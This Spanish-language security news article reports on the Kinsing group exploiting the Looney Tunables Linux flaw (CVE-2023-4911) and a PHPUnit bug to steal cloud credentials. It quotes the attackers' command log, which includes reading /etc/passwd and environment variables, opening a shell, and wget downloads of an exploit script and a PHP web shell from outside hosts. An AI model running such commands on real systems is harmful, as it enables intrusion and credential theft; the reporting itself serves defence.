Los actores de amenazas asociados a Kinsing han sido detectados tratando de aprovechar una vulnerabilidad recientemente revelada en la escalada de privilegios de Linux conocida como Looney Tunables como parte de una «nueva campaña experimental» diseñada para infiltrar entornos en la nube.

> *«De manera interesante, el atacante también está ampliando sus ataques nativos en la nube al extraer credenciales del Proveedor de Servicios en la Nube (CSP)»,* según informa la firma de seguridad en la nube Aqua.

Este desarrollo marca la primera instancia públicamente documentada de explotación activa de Looney Tunables (CVE-2023-4911), lo que podría permitir a un actor de amenazas obtener privilegios de administrador.

Los actores de Kinsing tienen un historial de adaptar rápidamente sus cadenas de ataque para aprovechar las nuevas vulnerabilidades de seguridad recién descubiertas en su favor. Recientemente, aprovecharon una vulnerabilidad de alta gravedad en Openfire (CVE-2023-32315) para lograr ejecución remota de código.

La última serie de ataques implica aprovechar una deficiencia crítica de ejecución de código remoto en PHPUnit (CVE-2017-9841), una táctica conocida que ha sido utilizada por el grupo de criptominería al menos desde 2021 para obtener acceso inicial.

```
1. uname -a
2. cat /etc/passwd
3. /bin/bash -i
4. mkdir /tmp/c
5. wget https://haxx.in/files/gnu-acme.py
6. env
7. wget https://raw.githubusercontent.com/temempik1337/0xShell/main/_index.php -O index.php
```

Esto se sigue de una exploración manual del entorno de la víctima en busca de Looney Tunables utilizando un exploit basado en Python publicado por un investigador que se hace llamar bl4sty en X (anteriormente conocido como Twitter).

> *«Posteriormente, Kinsing obtiene y ejecuta otro exploit en PHP. Inicialmente, el exploit está enmascarado; sin embargo, al desenmascararlo, se revela como un JavaScript diseñado para actividades adicionales de explotación»,* según Aqua.

El código JavaScript, por su parte, es una interfaz web que otorga acceso oculto al servidor, permitiendo al atacante realizar la gestión de archivos, la ejecución de comandos y recopilar más información sobre la máquina en la que se está ejecutando.

El objetivo final del ataque parece ser extraer credenciales asociadas al proveedor de servicios en la nube para futuros ataques, un cambio táctico significativo en comparación con su patrón anterior de implementar malware de Kinsing y lanzar un minero de criptomonedas.

> *«Esto marca la primera instancia de Kinsing buscando activamente obtener esa información»*, declaró la empresa.

> *«Este reciente desarrollo sugiere una posible ampliación de su alcance operativo, lo que indica que la operación de Kinsing podría diversificarse e intensificarse en el futuro cercano, lo que representa una amenaza aumentada para los entornos nativos en la nube.»*